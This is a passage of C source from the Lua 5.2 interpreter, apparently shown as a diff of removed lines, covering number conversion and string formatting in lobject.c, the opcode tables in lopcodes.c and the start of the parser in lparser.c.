if (e == 0) return x; - else return ((x & 7) + 8) << (e - 1); -} - - -int luaO_ceillog2 (unsigned int x) { - static const lu_byte log_2[256] = { - 0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5, - 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, - 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, - 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, - 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, - 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, - 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, - 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 - }; - int l = 0; - x--; - while (x >= 256) { l += 8; x >>= 8; } - return l + log_2[x]; -} - - -lua_Number luaO_arith (int op, lua_Number v1, lua_Number v2) { - switch (op) { - case LUA_OPADD: return luai_numadd(NULL, v1, v2); - case LUA_OPSUB: return luai_numsub(NULL, v1, v2); - case LUA_OPMUL: return luai_nummul(NULL, v1, v2); - case LUA_OPDIV: return luai_numdiv(NULL, v1, v2); - case LUA_OPMOD: return luai_nummod(NULL, v1, v2); - case LUA_OPPOW: return luai_numpow(NULL, v1, v2); - case LUA_OPUNM: return luai_numunm(NULL, v1); - default: lua_assert(0); return 0; - } -} - - -int luaO_hexavalue (int c) { - if (lisdigit(c)) return c - '0'; - else return ltolower(c) - 'a' + 10; -} - - -#if !defined(lua_strx2number) - -#include - - -static int isneg (const char **s) { - if (**s == '-') { (*s)++; return 1; } - else if (**s == '+') (*s)++; - return 0; -} - - -static lua_Number readhexa (const char **s, lua_Number r, int *count) { - for (; lisxdigit(cast_uchar(**s)); (*s)++) { /* read integer part */ - r = (r * 16.0) + cast_num(luaO_hexavalue(cast_uchar(**s))); - (*count)++; - } - return r; -} - - -/* -** convert an hexadecimal numeric string to a number, following -** C99 specification for 'strtod' -*/ -static lua_Number lua_strx2number (const char *s, char **endptr) { - lua_Number r = 0.0; - int e = 0, i = 0; - int neg = 0; /* 1 if number is negative */ - *endptr = cast(char *, s); /* nothing is valid yet */ - while (lisspace(cast_uchar(*s))) s++; /* skip initial spaces */ - neg = isneg(&s); /* check signal */ - if (!(*s == '0' && (*(s + 1) == 'x' || *(s + 1) == 'X'))) /* check '0x' */ - return 0.0; /* invalid format (no '0x') */ - s += 2; /* skip '0x' */ - r = readhexa(&s, r, &i); /* read integer part */ - if (*s == '.') { - s++; /* skip dot */ - r = readhexa(&s, r, &e); /* read fractional part */ - } - if (i == 0 && e == 0) - return 0.0; /* invalid format (no digit) */ - e *= -4; /* each fractional digit divides value by 2^-4 */ - *endptr = cast(char *, s); /* valid up to here */ - if (*s == 'p' || *s == 'P') { /* exponent part? */ - int exp1 = 0; - int neg1; - s++; /* skip 'p' */ - neg1 = isneg(&s); /* signal */ - if (!lisdigit(cast_uchar(*s))) - goto ret; /* must have at least one digit */ - while (lisdigit(cast_uchar(*s))) /* read exponent */ - exp1 = exp1 * 10 + *(s++) - '0'; - if (neg1) exp1 = -exp1; - e += exp1; - } - *endptr = cast(char *, s); /* valid up to here */ - ret: - if (neg) r = -r; - return ldexp(r, e); -} - -#endif - - -int luaO_str2d (const char *s, size_t len, lua_Number *result) { - char *endptr; - if (strpbrk(s, "nN")) /* reject 'inf' and 'nan' */ - return 0; - else if (strpbrk(s, "xX")) /* hexa? */ - *result = lua_strx2number(s, &endptr); - else - *result = lua_str2number(s, &endptr); - if (endptr == s) return 0; /* nothing recognized */ - while (lisspace(cast_uchar(*endptr))) endptr++; - return (endptr == s + len); /* OK if no trailing characters */ -} - - - -static void pushstr (lua_State *L, const char *str, size_t l) { - setsvalue2s(L, L->top, luaS_newlstr(L, str, l)); - incr_top(L); -} - - -/* this function handles only `%d', `%c', %f, %p, and `%s' formats */ -const char *luaO_pushvfstring (lua_State *L, const char *fmt, va_list argp) { - int n = 0; - for (;;) { - const char *e = strchr(fmt, '%'); - if (e == NULL) break; - setsvalue2s(L, L->top, luaS_newlstr(L, fmt, e-fmt)); - incr_top(L); - switch (*(e+1)) { - case 's': { - const char *s = va_arg(argp, char *); - if (s == NULL) s = "(null)"; - pushstr(L, s, strlen(s)); - break; - } - case 'c': { - char buff; - buff = cast(char, va_arg(argp, int)); - pushstr(L, &buff, 1); - break; - } - case 'd': { - setnvalue(L->top, cast_num(va_arg(argp, int))); - incr_top(L); - break; - } - case 'f': { - setnvalue(L->top, cast_num(va_arg(argp, l_uacNumber))); - incr_top(L); - break; - } - case 'p': { - char buff[4*sizeof(void *) + 8]; /* should be enough space for a `%p' */ - int l = sprintf(buff, "%p", va_arg(argp, void *)); - pushstr(L, buff, l); - break; - } - case '%': { - pushstr(L, "%", 1); - break; - } - default: { - luaG_runerror(L, - "invalid option " LUA_QL("%%%c") " to " LUA_QL("lua_pushfstring"), - *(e + 1)); - } - } - n += 2; - fmt = e+2; - } - pushstr(L, fmt, strlen(fmt)); - if (n > 0) luaV_concat(L, n + 1); - return svalue(L->top - 1); -} - - -const char *luaO_pushfstring (lua_State *L, const char *fmt, ...) { - const char *msg; - va_list argp; - va_start(argp, fmt); - msg = luaO_pushvfstring(L, fmt, argp); - va_end(argp); - return msg; -} - - -/* number of chars of a literal string without the ending \0 */ -#define LL(x) (sizeof(x)/sizeof(char) - 1) - -#define RETS "..." -#define PRE "[string \"" -#define POS "\"]" - -#define addstr(a,b,l) ( memcpy(a,b,(l) * sizeof(char)), a += (l) ) - -void luaO_chunkid (char *out, const char *source, size_t bufflen) { - size_t l = strlen(source); - if (*source == '=') { /* 'literal' source */ - if (l <= bufflen) /* small enough? */ - memcpy(out, source + 1, l * sizeof(char)); - else { /* truncate it */ - addstr(out, source + 1, bufflen - 1); - *out = '\0'; - } - } - else if (*source == '@') { /* file name */ - if (l <= bufflen) /* small enough? */ - memcpy(out, source + 1, l * sizeof(char)); - else { /* add '...' before rest of name */ - addstr(out, RETS, LL(RETS)); - bufflen -= LL(RETS); - memcpy(out, source + 1 + l - bufflen, bufflen * sizeof(char)); - } - } - else { /* string; format as [string "source"] */ - const char *nl = strchr(source, '\n'); /* find first new line (if any) */ - addstr(out, PRE, LL(PRE)); /* add prefix */ - bufflen -= LL(PRE RETS POS) + 1; /* save space for prefix+suffix+'\0' */ - if (l < bufflen && nl == NULL) { /* small one-line source? */ - addstr(out, source, l); /* keep it */ - } - else { - if (nl != NULL) l = nl - source; /* stop at first newline */ - if (l > bufflen) l = bufflen; - addstr(out, source, l); - addstr(out, RETS, LL(RETS)); - } - memcpy(out, POS, (LL(POS) + 1) * sizeof(char)); - } -} - -/* -** $Id: lopcodes.c,v 1.49 2012/05/14 13:34:18 roberto Exp $ -** Opcodes for Lua virtual machine -** See Copyright Notice in lua.h -*/ - - -#define lopcodes_c -#define LUA_CORE - - - - -/* ORDER OP */ - -LUAI_DDEF const char *const luaP_opnames[NUM_OPCODES+1] = { - "MOVE", - "LOADK", - "LOADKX", - "LOADBOOL", - "LOADNIL", - "GETUPVAL", - "GETTABUP", - "GETTABLE", - "SETTABUP", - "SETUPVAL", - "SETTABLE", - "NEWTABLE", - "SELF", - "ADD", - "SUB", - "MUL", - "DIV", - "MOD", - "POW", - "UNM", - "NOT", - "LEN", - "CONCAT", - "JMP", - "EQ", - "LT", - "LE", - "TEST", - "TESTSET", - "CALL", - "TAILCALL", - "RETURN", - "FORLOOP", - "FORPREP", - "TFORCALL", - "TFORLOOP", - "SETLIST", - "CLOSURE", - "VARARG", - "EXTRAARG", - NULL -}; - - -#define opmode(t,a,b,c,m) (((t)<<7) | ((a)<<6) | ((b)<<4) | ((c)<<2) | (m)) - -LUAI_DDEF const lu_byte luaP_opmodes[NUM_OPCODES] = { -/* T A B C mode opcode */ - opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_MOVE */ - ,opmode(0, 1, OpArgK, OpArgN, iABx) /* OP_LOADK */ - ,opmode(0, 1, OpArgN, OpArgN, iABx) /* OP_LOADKX */ - ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_LOADBOOL */ - ,opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_LOADNIL */ - ,opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_GETUPVAL */ - ,opmode(0, 1, OpArgU, OpArgK, iABC) /* OP_GETTABUP */ - ,opmode(0, 1, OpArgR, OpArgK, iABC) /* OP_GETTABLE */ - ,opmode(0, 0, OpArgK, OpArgK, iABC) /* OP_SETTABUP */ - ,opmode(0, 0, OpArgU, OpArgN, iABC) /* OP_SETUPVAL */ - ,opmode(0, 0, OpArgK, OpArgK, iABC) /* OP_SETTABLE */ - ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_NEWTABLE */ - ,opmode(0, 1, OpArgR, OpArgK, iABC) /* OP_SELF */ - ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_ADD */ - ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_SUB */ - ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_MUL */ - ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_DIV */ - ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_MOD */ - ,opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_POW */ - ,opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_UNM */ - ,opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_NOT */ - ,opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_LEN */ - ,opmode(0, 1, OpArgR, OpArgR, iABC) /* OP_CONCAT */ - ,opmode(0, 0, OpArgR, OpArgN, iAsBx) /* OP_JMP */ - ,opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_EQ */ - ,opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_LT */ - ,opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_LE */ - ,opmode(1, 0, OpArgN, OpArgU, iABC) /* OP_TEST */ - ,opmode(1, 1, OpArgR, OpArgU, iABC) /* OP_TESTSET */ - ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_CALL */ - ,opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_TAILCALL */ - ,opmode(0, 0, OpArgU, OpArgN, iABC) /* OP_RETURN */ - ,opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_FORLOOP */ - ,opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_FORPREP */ - ,opmode(0, 0, OpArgN, OpArgU, iABC) /* OP_TFORCALL */ - ,opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_TFORLOOP */ - ,opmode(0, 0, OpArgU, OpArgU, iABC) /* OP_SETLIST */ - ,opmode(0, 1, OpArgU, OpArgN, iABx) /* OP_CLOSURE */ - ,opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_VARARG */ - ,opmode(0, 0, OpArgU, OpArgU, iAx) /* OP_EXTRAARG */ -}; - -/* -** $Id: lparser.c,v 2.128 2012/05/20 14:51:23 roberto Exp $ -** Lua Parser -** See Copyright Notice in lua.h -*/ - - -#include - -#define lparser_c -#define LUA_CORE - - - - - -/* maximum number of local variables per function (must be smaller - than 250, due to the bytecode format) */ -#define MAXVARS 200 - - -#define hasmultret(k) ((k) == VCALL || (k) == VVARARG) - - - -/* -** nodes for block list (list of active blocks) -*/ -typedef struct BlockCnt { - struct BlockCnt *previous; /* chain */ - short firstlabel; /* index of first label in this block */ - short firstgoto; /* index of first pending goto in this block */ - lu_byte nactvar; /* # active locals outside the block */ - lu_byte upval; /* true if some variable in the block is an upvalue */ - lu_byte isloop; /* true if `block' is a loop */ -} BlockCnt; - - - -/* -** prototypes for recursive non-terminal functions -*/ -static void statement (LexState *ls); -static void expr (LexState *ls, expdesc *v); - - -static void anchor_token (LexState *ls) { - /* last token from outer function must be EOS */ - lua_assert(ls->fs != NULL || ls->t.token == TK_EOS); - if (ls->t.token == TK_NAME || ls->t.token == TK_STRING) { - TString *ts = ls->t.seminfo.ts; - luaX_newstring(ls, getstr(ts), ts->tsv.len); - } -} - - -/* semantic error */ -static l_noret semerror (LexState *ls, const char *msg) { - ls->t.token = 0; /* remove 'near to' from final message */ - luaX_syntaxerror(ls, msg); -} - - -static l_noret error_expected (LexState *ls, int token) { - luaX_syntaxerror(ls, - luaO_pushfstring(ls->L, "%s expected", luaX_token2str(ls, token))); -} - - -static l_noret errorlimit (FuncState *fs, int limit, const char *what) { - lua_State *L = fs->ls->L; - const char *msg; - int line = fs->f->linedefined; - const char *where = (line == 0) - ? "main function" - : luaO_pushfstring(L, "function at line %d", line); - msg = luaO_pushfstring(L, "too many %s (limit is %d) in %s", - what, limit, where); - luaX_syntaxerror(fs->ls, msg); -} - - -static void checklimit (FuncState *fs, int v, int l, const char *what) { - if (v > l) errorlimit(fs, l, what); -} - - -static int testnext (LexState *ls, int c) { - if (ls->t.token == c) { - luaX_next(ls); - return 1; - } - else return 0; -} - - -static void check (LexState *ls, int c) { - if (ls->t.token != c) - error_expected(ls, c); -} - - -static void checknext (LexState *ls, int c) { - check(ls, c); - luaX_next(ls); -} - - -#define check_condition(ls,c,msg) { if (!(c)) luaX_syntaxerror(ls, msg); } - - - -static void check_match (LexState *ls, int what, int who, int where) { - if (!testnext(ls, what)) { - if (where == ls->linenumber) - error_expected(ls, what); - else { - luaX_syntaxerror(ls, luaO_pushfstring(ls->L, - "%s expected (to close %s at line %d)", - luaX_token2str(ls, what), luaX_token2str(ls, who), where)); - } - } -} - - -static TString *str_checkname (LexState *ls) { - TString *ts; - check(ls, TK_NAME); - ts = ls->t.seminfo.ts; - luaX_next(ls); - return ts; -} - - -static void init_exp (expdesc *e, expkind k, int i) { - e->f = e->t = NO_JUMP; - e->k = k; - e->u.info = i; -} - - -static void codestring (LexState *ls, expdesc *e, TString *s) { - init_exp(e, VK, luaK_stringK(ls->fs, s)); -} - - -static void checkname (LexState *ls, expdesc *e) { - codestring(ls, e, str_checkname(ls)); -} - - -static int registerlocalvar (LexState *ls, TString *varname) { - FuncState *fs = ls->fs; - Proto *f = fs->f; - int oldsize = f->sizelocvars; - luaM_growvector(ls->L, f->locvars, fs->nlocvars, f->sizelocvars, - LocVar, SHRT_MAX, "local variables"); - while (oldsize < f->sizelocvars) f->locvars[oldsize++].varname = NULL; - f->locvars[fs->nlocvars].varname = varname; - luaC_objbarrier(ls->L, f, varname); - return fs->nlocvars++; -} - - -static void new_localvar (LexState *ls, TString *name) { - FuncState *fs = ls->fs; - Dyndata *dyd = ls->dyd; - int reg = registerlocalvar(ls, name); - checklimit(fs, dyd->actvar.n + 1 - fs->firstlocal, - MAXVARS, "local variables"); - luaM_growvector(ls->L, dyd->actvar.arr, dyd->actvar.n + 1, - dyd->actvar.size, Vardesc, MAX_INT, "local variables"); - dyd->actvar.arr[dyd->actvar.n++].idx = cast(short, reg); -} - - -static void new_localvarliteral_ (LexState *ls, const char *name, size_t sz) { - new_localvar(ls, luaX_newstring(ls, name, sz)); -} - -#define new_localvarliteral(ls,v) \ - new_localvarliteral_(ls, "" v, (sizeof(v)/sizeof(char))-1) - - -static LocVar *getlocvar (FuncState *fs, int i) { - int idx = fs->ls->dyd->actvar.arr[fs->firstlocal + i].idx; - lua_assert(idx < fs->nlocvars); - return &fs->f->locvars[idx]; -} - - -static void adjustlocalvars (LexState *ls, int nvars) { - FuncState *fs = ls->fs; - fs->nactvar = cast_byte(fs->nactvar + nvars); - for (; nvars; nvars--) { - getlocvar(fs, fs->nactvar - nvars)->startpc = fs->pc; - } -} - - -static void removevars (FuncState *fs, int tolevel) { - fs->ls->dyd->actvar.n -= (fs->nactvar - tolevel); - while (fs->nactvar > tolevel) - getlocvar(fs, --fs->nactvar)->endpc = fs->pc; -} - - -static int searchupvalue (FuncState *fs, TString *name) { - int i; - Upvaldesc *up = fs->f->upvalues; - for (i = 0; i < fs->nups; i++) { - if (luaS_eqstr(up[i].name, name)) return i; - } - return -1; /* not found */ -} - - -static int newupvalue (FuncState *fs, TString *name, expdesc *v) { - Proto *f = fs->f; - int oldsize = f->sizeupvalues; - checklimit(fs, fs->nups + 1, MAXUPVAL, "upvalues"); - luaM_growvector(fs->ls->L, f->upvalues, fs->nups, f->sizeupvalues, - Upvaldesc, MAXUPVAL, "upvalues"); - while (oldsize < f->sizeupvalues) f->upvalues[oldsize++].name = NULL; - f->upvalues[fs->nups].instack = (v->k == VLOCAL); - f->upvalues[fs->nups].idx = cast_byte(v->u.info); - f->upvalues[fs->nups].name = name; - luaC_objbarrier(fs->ls->L, f, name); - return fs->nups++; -} - - -static int searchvar (FuncState *fs, TString *n) { - int i; - for (i=fs->nactvar-1; i >= 0; i--) { - if (luaS_eqstr(n, getlocvar(fs, i)->varname)) - return i; - } - return -1; /* not found */ -} - - -/* - Mark block where variable at given level was defined - (to emit close instructions later). -*/ -static void markupval (FuncState *fs, int level) { - BlockCnt *bl = fs->bl; - while (bl->nactvar > level) bl = bl->previous; - bl->upval = 1; -} - - -/* - Find variable with given name 'n'. If it is an upvalue, add this - upvalue into all intermediate functions. -*/ -static int singlevaraux (FuncState *fs, TString *n, expdesc *var, int base) { - if (fs == NULL) /* no more levels? */ - return VVOID; /* default is global */ - else { - int v = searchvar(fs, n); /* look up locals at current level */ - if (v >= 0) { /* found? */ - init_exp(var, VLOCAL, v); /* variable is local */ - if (!base) - markupval(fs, v); /* local will be used as an upval */ - return VLOCAL; - } - else { /* not found as local at current level; try upvalues */ - int idx = searchupvalue(fs, n); /* try existing upvalues */ - if (idx < 0) { /* not found? */ - if (singlevaraux(fs->prev, n, var, 0) == VVOID) /* try upper levels */ - return VVOID; /* not found; is a global */ - /* else was LOCAL or UPVAL */ - idx = newupvalue(fs, n, var); /* will be a new upvalue */ - } - init_exp(var, VUPVAL, idx); - return VUPVAL; - } - } -} - - -static void singlevar (LexState *ls, expdesc *var) { - TString *varname = str_checkname(ls); - FuncState *fs = ls->fs; - if (singlevaraux(fs, varname, var, 1) == VVOID) { /* global name? */ - expdesc key; - singlevaraux(fs, ls->envn, var, 1); /* get environment variable */ - lua_assert(var->k == VLOCAL || var->k == VUPVAL); - codestring(ls, &key, varname); /* key is variable name */ - luaK_indexed(fs, var, &key); /* env[varname] */ - } -} - - -static void adjust_assign (LexState *ls, int nvars, int nexps, expdesc *e) { - FuncState *fs = ls->fs; - int extra = nvars - nexps; - if (hasmultret(e->k)) { - extra++; /* includes call itself */ - if (extra < 0) extra = 0; - luaK_setreturns(fs, e, extra); /* last exp. provides the difference */ - if (extra > 1) luaK_reserveregs(fs, extra-1); - } - else { - if (e->k != VVOID) luaK_exp2nextreg(fs, e); /* close last expression */ - if (extra > 0) { - int reg = fs->freereg; - luaK_reserveregs(fs, extra); - luaK_nil(fs, reg, extra); - } - } -} - - -static void enterlevel (LexState *ls) { - lua_State *L = ls->L; - ++L->nCcalls; - checklimit(ls->fs, L->nCcalls, LUAI_MAXCCALLS, "C levels"); -} - - -#define leavelevel(ls) ((ls)->L->nCcalls--) - - -static void closegoto (LexState *ls, int g, Labeldesc *label) { - int i; - FuncState *fs = ls->fs; - Labellist *gl = &ls->dyd->gt; - Labeldesc *gt = &gl->arr[g]; - lua_assert(luaS_eqstr(gt->name, label->name)); - if (gt->nactvar < label->nactvar) { - TString *vname = getlocvar(fs, gt->nactvar)->varname; - const char *msg = luaO_pushfstring(ls->L, - " at line %d jumps into the scope of local " LUA_QS, - getstr(gt->name), gt->line, getstr(vname)); - semerror(ls, msg); - } - luaK_patchlist(fs, gt->pc, label->pc); - /* remove goto from pending list */ - for (i = g; i < gl->n - 1; i++) - gl->arr[i] = gl->arr[i + 1]; - gl->n--; -} - - -/* -** try to close a goto with existing labels; this solves backward jumps -*/ -static int findlabel (LexState *ls, int g) { - int i; - BlockCnt *bl = ls->fs->bl; - Dyndata *dyd = ls->dyd; - Labeldesc *gt = &dyd->gt.arr[g]; - /* check labels in current block for a match */ - for (i = bl->firstlabel; i < dyd->label.n; i++) { - Labeldesc *lb = &dyd->label.arr[i]; - if (luaS_eqstr(lb->name, gt->name)) { /* correct label? */ - if (gt->nactvar > lb->nactvar && - (bl->upval || dyd->label.n > bl->firstlabel)) - luaK_patchclose(ls->fs, gt->pc, lb->nactvar); - closegoto(ls, g, lb); /* close it */ - return 1; - } - } - return 0; /* label not found; cannot close goto */ -} - - -static int newlabelentry (LexState *ls, Labellist *l, TString *name, - int line, int pc) { - int n = l->n; - luaM_growvector(ls->L, l->arr, n, l->size, - Labeldesc, SHRT_MAX, "labels/gotos"); - l->arr[n].name = name; - l->arr[n].line = line; - l->arr[n].nactvar = ls->fs->nactvar; - l->arr[n].pc = pc; - l->n++; - return n; -} - - -/* -** check whether new label 'lb' matches any pending gotos in current -** block; solves forward jumps -*/ -static void findgotos (LexState *ls, Labeldesc *lb) { - Labellist *gl = &ls->dyd->gt; - int i = ls->fs->bl->firstgoto; - while (i < gl->n) { - if (luaS_eqstr(gl->arr[i].name, lb->name)) - closegoto(ls, i, lb); - else - i++; - } -} - - -/* -** "export" pending gotos to outer level, to check them against -** outer labels; if the block being exited has upvalues, and -** the goto exits the scope of any variable (which can be the -** upvalue), close those variables being exited. -*/ -static void movegotosout (FuncState *fs, BlockCnt *bl) { - int i = bl->firstgoto; - Labellist *gl = &fs->ls->dyd->gt; - /* correct pending gotos to current block and try to close it - with visible labels */ - while (i < gl->n) { - Labeldesc *gt = &gl->arr[i]; - if (gt->nactvar > bl->nactvar) { - if (bl->upval) - luaK_patchclose(fs, gt->pc, bl->nactvar); - gt->nactvar = bl->nactvar; - } - if (!findlabel(fs->ls, i)) - i++; /* move to next one */ - } -} - - -static void enterblock (FuncState *fs, BlockCnt *bl, lu_byte isloop) { - bl->isloop = isloop; - bl->nactvar = fs->nactvar; - bl->firstlabel = fs->ls->dyd->label.n; - bl->firstgoto = fs->ls->dyd->gt.n; - bl->upval = 0; - bl->previous = fs->bl; - fs->bl = bl; - lua_assert(fs->freereg == fs->nactvar); -} - - -/* -** create a label named "break" to resolve break statements -*/ -static void breaklabel (LexState *ls) { - TString *n = luaS_new(ls->L, "break"); - int l = newlabelentry(ls, &ls->dyd->label, n, 0, ls->fs->pc); - findgotos(ls, &ls->dyd->label.arr[l]); -} - -/* -** generates an error for an undefined 'goto'; choose appropriate -** message when label name is a reserved word (which can only be 'break') -*/ -static l_noret undefgoto (LexState *ls, Labeldesc *gt) { - const char *msg = isreserved(gt->name) - ? "<%s> at line %d not inside a loop" - : "no visible label " LUA_QS " for at line %d"; - msg = luaO_pushfstring(ls->L, msg, getstr(gt->name), gt->line); - semerror(ls, msg); -} - - -static void leaveblock (FuncState *fs) { - BlockCnt *bl = fs->bl; - LexState *ls = fs->ls; - if (bl->previous && bl->upval) { - /* create a 'jump to here' to close upvalues */ - int j = luaK_jump(fs); - luaK_patchclose(fs, j, bl->nactvar); - luaK_patchtohere(fs, j); - } - if (bl->isloop) - breaklabel(ls); /* close pending breaks */ - fs->bl = bl->previous; - removevars(fs, bl->nactvar); - lua_assert(bl->nactvar == fs->nactvar); - fs->freereg = fs->nactvar; /* free registers */ - ls->dyd->label.n = bl->firstlabel; /* remove local labels */ - if (bl->previous) /* inner block? */ - movegotosout(fs, bl); /* update pending gotos to outer block */ - else if (bl->firstgoto < ls->dyd->gt.n) /* pending gotos in outer block? */ - undefgoto(ls, &ls->dyd->gt.arr[bl->firstgoto]); /* error */ -} - - -/* -** adds a new prototype into list of prototypes -*/ -static Proto *addprototype (LexState *ls) { - Proto *clp; - lua_State *L = ls->L; - FuncState *fs = ls->fs; - Proto *f = fs->f; /* prototype of current function */ - if (fs->np >= f->sizep) { - int oldsize = f->sizep; - luaM_growvector(L, f->p, fs->np, f->sizep, Proto *, MAXARG_Bx, "functions"); - while (oldsize < f->sizep) f->p[oldsize++] = NULL; - } - f->p[fs->np++] = clp = luaF_newproto(L); - luaC_objbarrier(L, f, clp); - return clp; -} - - -/* -** codes instruction to create new closure in parent function -*/ -static void codeclosure (LexState *ls, expdesc *v) { - FuncState *fs = ls->fs->prev; - init_exp(v, VRELOCABLE, luaK_codeABx(fs, OP_CLOSURE, 0, fs->np - 1)); - luaK_exp2nextreg(fs, v); /* fix it at stack top (for GC) */ -} - - -static void open_func (LexState *ls, FuncState *fs, BlockCnt *bl) { - lua_State *L = ls->L; - Proto *f; - fs->prev = ls->fs; /* linked list of funcstates */ - fs->ls = ls; - ls->fs = fs; - fs->pc = 0; - fs->lasttarget = 0; - fs->jpc = NO_JUMP; - fs->freereg = 0; - fs->nk = 0; - fs->np = 0; - fs->nups = 0; - fs->nlocvars = 0; - fs->nactvar = 0; - fs->firstlocal = ls->dyd->actvar.n; - fs->bl = NULL; - f = fs->f; - f->source = ls->source; - f->maxstacksize = 2; /* registers 0/1 are always valid */ - fs->h = luaH_new(L); - /* anchor table of constants (to avoid being collected) */ - sethvalue2s(L, L->top, fs->h); - incr_top(L); - enterblock(fs, bl, 0); -} - - -static void close_func (LexState *ls) { - lua_State *L = ls->L; - FuncState *fs = ls->fs; - Proto *f = fs->f; - luaK_ret(fs, 0, 0); /* final return */ - leaveblock(fs); - luaM_reallocvector(L, f->code, f->sizecode, fs->pc, Instruction); - f->sizecode = fs->pc; - luaM_reallocvector(L, f->lineinfo, f->sizelineinfo, fs->pc, int); - f->sizelineinfo = fs->pc; - luaM_reallocvector(L, f->k, f->sizek, fs->nk, TValue); - f->sizek = fs->nk; - luaM_reallocvector(L, f->p, f->sizep, fs->np, Proto *); - f->sizep = fs->np; - luaM_reallocvector(L, f->locvars, f->sizelocvars, fs->nlocvars, LocVar); - f->sizelocvars = fs->nlocvars; - luaM_reallocvector(L, f->upvalues, f->sizeupvalues, fs->nups, Upvaldesc); - f->sizeupvalues = fs->nups; - lua_assert(fs->bl == NULL); - ls->fs = fs->prev; - /* last token read was anchored in defunct function; must re-anchor it */ - anchor_token(ls); - L->top--; /* pop table of constants */ - luaC_checkGC(L); -} - - - -/*============================================================*/ -/* GRAMMAR RULES */ -/*============================================================*/ - - -/* -** check whether current token is in the follow set of a block. -** 'until' closes syntactical blocks, but do not close scope, -** so it handled in separate. -*/ -static int block_follow (LexState *ls, int withuntil) { - switch (ls->t.token) { - case TK_ELSE: case TK_ELSEIF: - case TK_END: case TK_EOS: - return 1; - case TK_UNTIL: return withuntil; - default: return 0; - } -} - - -static void statlist (LexState *ls) { - /* statlist -> { stat [`;'] } */ - while (!block_follow(ls, 1)) { - if (ls->t.token == TK_RETURN) { - statement(ls); - return; /* 'return' must be last statement */ - } - statement(ls); - } -} - - -static void fieldsel (LexState *ls, expdesc *v) { - /* fieldsel -> ['.' | ':'] NAME */ - FuncState *fs = ls->fs; - expdesc key; - luaK_exp2anyregup(fs, v); - luaX_next(ls); /* skip the dot or colon */ - checkname(ls, &key); - luaK_indexed(fs, v, &key); -} - - -static void yindex (LexState *ls, expdesc *v) { - /* index -> '[' expr ']' */ - luaX_next(ls); /* skip the '[' */ - expr(ls, v); - luaK_exp2val(ls->fs, v); - checknext(ls, ']'); -} - - -/* -** {====================================================================== -** Rules for Constructors -** ======================================================================= -*/ - - -struct ConsControl { - expdesc v; /* last list item read */ - expdesc *t; /* table descriptor */ - int nh; /* total number of `record' elements */ - int na; /* total number of array elements */ - int tostore; /* number of array elements pending to be stored */ -}; - - -static void recfield (LexState *ls, struct ConsControl *cc) { - /* recfield -> (NAME | `['exp1`]') = exp1 */ - FuncState *fs = ls->fs; - int reg = ls->fs->freereg; - expdesc key, val; - int rkkey; - if (ls->t.token == TK_NAME) { - checklimit(fs, cc->nh, MAX_INT, "items in a constructor"); - checkname(ls, &key); - } - else /* ls->t.token == '[' */ - yindex(ls, &key); - cc->nh++; - checknext(ls, '='); - rkkey = luaK_exp2RK(fs, &key); - expr(ls, &val); - luaK_codeABC(fs, OP_SETTABLE, cc->t->u.info, rkkey, luaK_exp2RK(fs, &val)); - fs->freereg = reg; /* free registers */ -} - - -static void closelistfield (FuncState *fs, struct ConsControl *cc) { - if (cc->v.k == VVOID) return; /* there is no list item */ - luaK_exp2nextreg(fs, &cc->v); - cc->v.k = VVOID; - if (cc->tostore == LFIELDS_PER_FLUSH) { - luaK_setlist(fs, cc->t->u.info, cc->na, cc->tostore); /* flush */ - cc->tostore = 0; /* no more items pending */ - } -} - - -static void lastlistfield (FuncState *fs, struct ConsControl *cc) { - if (cc->tostore == 0) return; - if (hasmultret(cc->v.k)) { - luaK_setmultret(fs, &cc->v); - luaK_setlist(fs, cc->t->u.info, cc->na, LUA_MULTRET); - cc->na--; /* do not count last expression (unknown number of elements) */ - } - else { - if (cc->v.k != VVOID) - luaK_exp2nextreg(fs, &cc->v); - luaK_setlist(fs, cc->t->u.info, cc->na, cc->tostore); - } -} - - -static void listfield (LexState *ls, struct ConsControl *cc) { - /* listfield -> exp */ - expr(ls, &cc->v); - checklimit(ls->fs, cc->na, MAX_INT, "items in a constructor"); - cc->na++; - cc->tostore++; -} - - -static void field (LexState *ls, struct ConsControl *cc) { - /* field -> listfield | recfield */ - switch(ls->t.token) { - case TK_NAME: { /* may be 'listfield' or 'recfield' */ - if (luaX_lookahead(ls) != '=') /* expression? */ - listfield(ls, cc); - else - recfield(ls, cc); - break; - } - case '[': { - recfield(ls, cc); - break; - } - default: { - listfield(ls, cc); 